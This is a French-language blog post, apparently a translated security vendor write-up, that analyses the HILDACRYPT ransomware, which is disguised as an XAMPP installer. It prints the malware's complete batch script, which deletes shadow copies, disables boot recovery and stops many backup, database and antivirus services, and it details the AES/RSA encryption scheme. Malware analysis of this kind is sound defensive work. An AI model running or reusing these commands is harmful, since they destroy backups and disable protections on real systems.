{"id":52277,"date":"2019-11-05T00:00:00","date_gmt":"2019-11-04T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam"},"modified":"2020-02-18T13:59:57","modified_gmt":"2020-02-18T10:59:57","slug":"hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","status":"publish","type":"post","link":"https:\/\/prohoster.info\/fr\/blog\/administrirovanie\/hildacrypt-novaya-programma-vymogatel-nanosit-udar-po-sistemam-rezervnogo-kopirovaniya-i-antivirusnym-resheniyam","title":{"rendered":"HILDACRYPT : un nouveau ransomware frappe les syst\u00e8mes de sauvegarde et les solutions antivirus","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Bonjour, Habr ! Nous parlons encore des nouvelles versions de logiciels malveillants de la cat\u00e9gorie Ransomware. HILDACRYPT est un nouveau ransomware, repr\u00e9sentant la famille Hilda d\u00e9couverte en ao\u00fbt 2019, nomm\u00e9e d'apr\u00e8s le dessin anim\u00e9 du service de streaming Netflix qui a \u00e9t\u00e9 utilis\u00e9 pour la diffusion du logiciel. Aujourd'hui, nous d\u00e9couvrons les caract\u00e9ristiques techniques de ce virus ransomware mis \u00e0 jour.<\/p>\n

\"HILDACRYPT
\n<\/a><\/noindex>
\nDans la premi\u00e8re version des ransomwares Hilda, le lien vers le trailer<\/a><\/noindex> de la s\u00e9rie anim\u00e9e \u00e9tait contenu dans la lettre de ran\u00e7on. HILDACRYPT se cache toutefois derri\u00e8re un installateur l\u00e9gitime de XAMPP \u2013 une distribution Apache facile \u00e0 installer, incluant MariaDB, PHP et Perl. De plus, le fichier du ransomware porte un autre nom \u2013 xamp. De plus, le fichier du logiciel malveillant n\u2019a pas de signature \u00e9lectronique.<\/p>\n

Analyse statique<\/h3>\n

\nLe ransomware est contenu dans un fichier PE32 .NET, \u00e9crit pour MS Windows. Sa taille est de 135 168 octets. Le code principal du programme et le code du programme protecteur sont \u00e9crits en C#. Selon l'indication de date et d'heure de compilation, le fichier binaire a \u00e9t\u00e9 cr\u00e9\u00e9 le 14 septembre 2019.<\/p>\n

\"HILDACRYPT
\n
\nSelon Detect It Easy, le ransomware est compress\u00e9 \u00e0 l'aide de Confuser et ConfuserEx, mais ces obfuscateurs sont les m\u00eames qu'auparavant, seul ConfuserEx \u00e9tant le successeur de Confuser, ce qui fait que les signatures de leur code sont similaires. <\/p>\n

\"HILDACRYPT
\n
\nHILDACRYPT est effectivement empaquet\u00e9 \u00e0 l'aide de ConfuserEx. <\/p>\n

\"HILDACRYPT
\n
\nSHA-256 : 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a<\/p>\n

Vecteur d'attaque<\/h3>\n

\nIl est fort probable que le ransomware ait \u00e9t\u00e9 d\u00e9couvert sur l'un des sites consacr\u00e9s \u00e0 la programmation web, se faisant passer pour un programme l\u00e9gitime de XAMPP.<\/p>\n

On peut voir toute la cha\u00eene d'infection dans le app.any.run sandbox<\/a><\/noindex>.<\/p>\n

Obfuscation <\/h3>\n

\nLes cha\u00eenes du ransomware sont stock\u00e9es sous forme chiffr\u00e9e. Lors du lancement, HILDACRYPT les d\u00e9chiffre \u00e0 l'aide de Base64 et AES-256-CBC.<\/p>\n

\"HILDACRYPT
\n<\/p>\n

Installation<\/h3>\n

\nTout d'abord, le ransomware cr\u00e9e dans %AppDataRoaming% un dossier dont le param\u00e8tre GUID (Identifiant Unique Global) est g\u00e9n\u00e9r\u00e9 al\u00e9atoirement. En ajoutant un fichier bat \u00e0 cet emplacement, le ransomware l'ex\u00e9cute avec cmd.exe :<\/p>\n

cmd.exe \/c JKfgkgj3hjgfhjka.bat & exit
\n<\/i>
\n\"HILDACRYPT\"HILDACRYPT
\nEnsuite, il commence l'ex\u00e9cution d'un script batch pour d\u00e9sactiver les fonctions ou services syst\u00e8me.<\/p>\n

\"HILDACRYPT
\n
\nLe script contient une longue liste de commandes permettant de supprimer les copies d'ombre, de d\u00e9sactiver le serveur SQL, de r\u00e9aliser des sauvegardes et de d\u00e9sactiver des solutions antivirus.<\/p>\n

Par exemple, il essaie sans succ\u00e8s d'arr\u00eater les services de sauvegarde Acronis Backup. De plus, il attaque les syst\u00e8mes de sauvegarde et les solutions antivirus des fournisseurs suivants : Veeam, Sophos, Kaspersky, McAfee et d'autres.<\/p>\n

@echo off\n:: Je ne suis pas vraiment fan des poneys, les filles de dessins anim\u00e9s sont meilleures, non ?\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=c: \/on=c: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=d: \/on=d: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=e: \/on=e: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=f: \/on=f: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=g: \/on=g: \/maxsize=unbounded\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=401MB\nvssadmin resize shadowstorage \/for=h: \/on=h: \/maxsize=unbounded\nbcdedit \/set {default} recoveryenabled No\nbcdedit \/set {default} bootstatuspolicy ignoreallfailures\nvssadmin Delete Shadows \/all \/quiet\nnet stop SQLAgent$SYSTEM_BGC \/y\nnet stop \u201cSophos Device Control Service\u201d \/y\nnet stop macmnsvc \/y\nnet stop SQLAgent$ECWDB2 \/y\nnet stop \u201cZoolz 2 Service\u201d \/y\nnet stop McTaskManager \/y\nnet stop \u201cSophos AutoUpdate Service\u201d \/y\nnet stop \u201cSophos System Protection Service\u201d \/y\nnet stop EraserSvc11710 \/y\nnet stop PDVFSService \/y\nnet stop SQLAgent$PROFXENGAGEMENT \/y\nnet stop SAVService \/y\nnet stop MSSQLFDLauncher$TPSAMA \/y\nnet stop EPSecurityService \/y\nnet stop SQLAgent$SOPHOS \/y\nnet stop \u201cSymantec System Recovery\u201d \/y\nnet stop Antivirus \/y\nnet stop SstpSvc \/y\nnet stop MSOLAP$SQL_2008 \/y\nnet stop TrueKeyServiceHelper \/y\nnet stop sacsvr \/y\nnet stop VeeamNFSSvc \/y\nnet stop FA_Scheduler \/y\nnet stop SAVAdminService \/y\nnet stop EPUpdateService \/y\nnet stop VeeamTransportSvc \/y\nnet stop \u201cSophos Health Service\u201d \/y\nnet stop bedbg \/y\nnet stop MSSQLSERVER \/y\nnet stop KAVFS \/y\nnet stop Smcinst \/y\nnet stop MSSQLServerADHelper100 \/y\nnet stop TmCCSF \/y\nnet stop wbengine \/y\nnet stop SQLWriter \/y\nnet stop MSSQLFDLauncher$TPS \/y\nnet stop SmcService \/y\nnet stop ReportServer$TPSAMA \/y\nnet stop swi_update \/y\nnet stop AcrSch2Svc \/y\nnet stop MSSQL$SYSTEM_BGC \/y\nnet stop VeeamBrokerSvc \/y\nnet stop MSSQLFDLauncher$PROFXENGAGEMENT \/y\nnet stop VeeamDeploymentService \/y\nnet stop SQLAgent$TPS \/y\nnet stop DCAgent \/y\nnet stop \u201cSophos Message Router\u201d \/y\nnet stop MSSQLFDLauncher$SBSMONITORING \/y\nnet stop wbengine \/y\nnet stop MySQL80 \/y\nnet stop MSOLAP$SYSTEM_BGC \/y\nnet stop ReportServer$TPS \/y\nnet stop MSSQL$ECWDB2 \/y\nnet stop SntpService \/y\nnet stop SQLSERVERAGENT \/y\nnet stop BackupExecManagementService \/y\nnet stop SMTPSvc \/y\nnet stop mfefire \/y\nnet stop BackupExecRPCService \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop klnagent \/y\nnet stop MSExchangeSA \/y\nnet stop MSSQLServerADHelper \/y\nnet stop SQLTELEMETRY \/y\nnet stop \u201cSophos Clean Service\u201d \/y\nnet stop swi_update_64 \/y\nnet stop \u201cSophos Web Control Service\u201d \/y\nnet stop EhttpSrv \/y\nnet stop POP3Svc \/y\nnet stop MSOLAP$TPSAMA \/y\nnet stop McAfeeEngineService \/y\nnet stop \u201cVeeam Backup Catalog Data Service\u201d \/\nnet stop MSSQL$SBSMONITORING \/y\nnet stop ReportServer$SYSTEM_BGC \/y\nnet stop AcronisAgent \/y\nnet stop KAVFSGT \/y\nnet stop BackupExecDeviceMediaService \/y\nnet stop MySQL57 \/y\nnet stop McAfeeFrameworkMcAfeeFramework \/y\nnet stop TrueKey \/y\nnet stop VeeamMountSvc \/y\nnet stop MsDtsServer110 \/y\nnet stop SQLAgent$BKUPEXEC \/y\nnet stop UI0Detect \/y\nnet stop ReportServer \/y\nnet stop SQLTELEMETRY$ECWDB2 \/y\nnet stop MSSQLFDLauncher$SYSTEM_BGC \/y\nnet stop MSSQL$BKUPEXEC \/y\nnet stop SQLAgent$PRACTTICEBGC \/y\nnet stop MSExchangeSRS \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop McShield \/y\nnet stop SepMasterService \/y\nnet stop \u201cSophos MCS Client\u201d \/y\nnet stop VeeamCatalogSvc \/y\nnet stop SQLAgent$SHAREPOINT \/y\nnet stop NetMsmqActivator \/y\nnet stop kavfsslp \/y\nnet stop tmlisten \/y\nnet stop ShMonitor \/y\nnet stop MsDtsServer \/y\nnet stop SQLAgent$SQL_2008 \/y\nnet stop SDRSVC \/y\nnet stop IISAdmin \/y\nnet stop SQLAgent$PRACTTICEMGT \/y\nnet stop BackupExecJobEngine \/y\nnet stop SQLAgent$VEEAMSQL2008R2 \/y\nnet stop BackupExecAgentBrowser \/y\nnet stop VeeamHvIntegrationSvc \/y\nnet stop masvc \/y\nnet stop W3Svc \/y\nnet stop \u201cSQLsafe Backup Service\u201d \/y\nnet stop SQLAgent$CXDB \/y\nnet stop SQLBrowser \/y\nnet stop MSSQLFDLauncher$SQL_2008 \/y\nnet stop VeeamBackupSvc \/y\nnet stop \u201cSophos Safestore Service\u201d \/y\nnet stop svcGenericHost \/y\nnet stop ntrtscan \/y\nnet stop SQLAgent$VEEAMSQL2012 \/y\nnet stop MSExchangeMGMT \/y\nnet stop SamSs \/y\nnet stop MSExchangeES \/y\nnet stop MBAMService \/y\nnet stop EsgShKernel \/y\nnet stop ESHASRV \/y\nnet stop MSSQL$TPSAMA \/y\nnet stop SQLAgent$CITRIX_METAFRAME \/y\nnet stop VeeamCloudSvc \/y\nnet stop \u201cSophos File Scanner Service\u201d \/y\nnet stop \u201cSophos Agent\u201d \/y\nnet stop MBEndpointAgent \/y\nnet stop swi_service \/y\nnet stop MSSQL$PRACTICEMGT \/y\nnet stop SQLAgent$TPSAMA \/y\nnet stop McAfeeFramework \/y\nnet stop \u201cEnterprise Client Service\u201d \/y\nnet stop SQLAgent$SBSMONITORING \/y\nnet stop MSSQL$VEEAMSQL2012 \/y\nnet stop swi_filter \/y\nnet stop SQLSafeOLRService \/y\nnet stop BackupExecVSSProvider \/y\nnet stop VeeamEnterpriseManagerSvc \/y\nnet stop SQLAgent$SQLEXPRESS \/y\nnet stop OracleClientCache80 \/y\nnet stop MSSQL$PROFXENGAGEMENT \/y\nnet stop IMAP4Svc \/y\nnet stop ARSM \/y\nnet stop MSExchangeIS \/y\nnet stop AVP \/y\nnet stop MSSQLFDLauncher \/y\nnet stop MSExchangeMTA \/y\nnet stop TrueKeyScheduler \/y\nnet stop MSSQL$SOPHOS \/y\nnet stop \u201cSQL Backups\u201d \/y\nnet stop MSSQL$TPS \/y\nnet stop mfemms \/y\nnet stop MsDtsServer100 \/y\nnet stop MSSQL$SHAREPOINT \/y\nnet stop WRSVC \/y\nnet stop mfevtp \/y\nnet stop msftesql$PROD \/y\nnet stop mozyprobackup \/y\nnet stop MSSQL$SQL_2008 \/y\nnet stop SNAC \/y\nnet stop ReportServer$SQL_2008 \/y\nnet stop BackupExecAgentAccelerator \/y\nnet stop MSSQL$SQLEXPRESS \/y\nnet stop MSSQL$PRACTTICEBGC \/y\nnet stop VeeamRESTSvc \/y\nnet stop sophossps \/y\nnet stop ekrn \/y\nnet stop MMS \/y\nnet stop \u201cSophos MCS Agent\u201d \/y\nnet stop RESvc \/y\nnet stop \u201cAcronis VSS Provider\u201d \/y\nnet stop MSSQL$VEEAMSQL2008R2 \/y\nnet stop MSSQLFDLauncher$SHAREPOINT \/y\nnet stop \u201cSQLsafe Filter Service\u201d \/y\nnet stop MSSQL$PROD \/y\nnet stop SQLAgent$PROD \/y\nnet stop MSOLAP$TPS \/y\nnet stop VeeamDeploySvc \/y\nnet stop MSSQLServerOLAPService \/y\ndel %0\n<\/code><\/pre>\n
\nUne fois que les services et processus mentionn\u00e9s ci-dessus sont d\u00e9sactiv\u00e9s, le cryptolocker recueille des informations sur tous les processus en cours d'ex\u00e9cution en utilisant la commande tasklist, afin de s'assurer que tous les services n\u00e9cessaires sont hors service. 
\ntasklist v \/fo csv<\/i><\/p>\n
Cette commande renvoie une liste d\u00e9taill\u00e9e des processus en cours, dont les \u00e9l\u00e9ments sont s\u00e9par\u00e9s par des virgules. 
\n\u00abcsrss.exe\u00bb, \u00ab448\u00bb, \u00abservices\u00bb, \u00ab0\u00bb, \u00ab1\u202f896 octets\u00bb, \u00abinconnu\u00bb, \u00ab0:00:03\u00bb
\n<\/i><\/p>\n
\"HILDACRYPT
\n
\nApr\u00e8s cette v\u00e9rification, le ransomware commence le processus de chiffrement. <\/p>\n
Chiffrement 
\n<\/h3>\n
Chiffrement des fichiers<\/h4>\n
\nHILDACRYPT parcourt tout le contenu trouv\u00e9 sur les disques durs, \u00e0 l'exception des dossiers Recycle.Bin et Reference AssembliesMicrosoft. Ce dernier contient des fichiers critiques tels que dll, pdb, etc., pour les applications .Net, qui peuvent affecter le fonctionnement du ransomware. Pour rechercher les fichiers \u00e0 chiffrer, la liste d'extensions suivante est utilis\u00e9e :<\/p>\n
.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md
\n<\/i>
\nPour chiffrer les fichiers de l'utilisateur, le ransomware utilise l'algorithme AES-256-CBC. La taille de la cl\u00e9 est de 256 bits, et celle du vecteur d'initialisation (IV) est de 16 octets. <\/p>\n
\"HILDACRYPT
\n
\nDans la capture d'\u00e9cran suivante, les valeurs byte_2 et byte_1 ont \u00e9t\u00e9 obtenues al\u00e9atoirement \u00e0 l'aide de GetBytes(). <\/p>\n
\"HILDACRYPT
\n
\nCl\u00e9<\/p>\n
\"HILDACRYPT
\n
\nVI<\/p>\n
\"HILDACRYPT
\n
\nUn fichier chiffr\u00e9 a l'extension HCY!.. C'est un exemple de fichier chiffr\u00e9. Une cl\u00e9 et un IV, mentionn\u00e9s ci-dessus, ont \u00e9t\u00e9 cr\u00e9\u00e9s pour ce fichier. <\/p>\n
\"HILDACRYPT
\n<\/p>\n
Chiffrement des cl\u00e9s<\/h4>\n
\nLe cryptolocker conserve la cl\u00e9 AES g\u00e9n\u00e9r\u00e9e dans le fichier chiffr\u00e9. La premi\u00e8re partie du fichier chiffr\u00e9 contient un en-t\u00eate avec des donn\u00e9es telles que HILDACRYPT, KEY, IV, FileLen au format XML, et ressemble \u00e0 ceci :<\/p>\n
\"HILDACRYPT
\n
\nLe chiffrement de la cl\u00e9 AES et de l'IV se fait \u00e0 l'aide de RSA-2048, et le codage s'effectue avec Base64. La cl\u00e9 publique RSA est stock\u00e9e dans le corps du cryptolocker dans l'une des cha\u00eenes chiffr\u00e9es au format XML.<\/p>\n
28guEbzkzciKg3N\/ExUq8jGcshuMSCmoFsh\/3LoMyWzPrnfHGhrgotuY\/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u\/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5\/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8\/qfjMtZ41sIIIEyajVKfA18OT72\/UBME2gsAM\/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa\/jQ==AQAB
\n<\/code><\/p>\n
Pour chiffrer la cl\u00e9 du fichier AES, on utilise la cl\u00e9 publique RSA. La cl\u00e9 publique RSA est encod\u00e9e avec Base64 et se compose d'un module et de l'exposant public 65537. Pour le d\u00e9chiffrement, il faut la cl\u00e9 priv\u00e9e RSA, que poss\u00e8de l'attaquant.<\/p>\n
Apr\u00e8s le chiffrement RSA, la cl\u00e9 AES est cod\u00e9e avec Base64 et conserv\u00e9e dans le fichier chiffr\u00e9.<\/p>\n
Message de ran\u00e7on<\/h3>\n
\n\u00c0 la fin du chiffrement, HILDACRYPT enregistre un fichier html dans le dossier o\u00f9 il a chiffr\u00e9 les fichiers. La notification du logiciel de ran\u00e7on contient deux adresses e-mail par lesquelles la victime peut contacter l'attaquant.<\/p>\n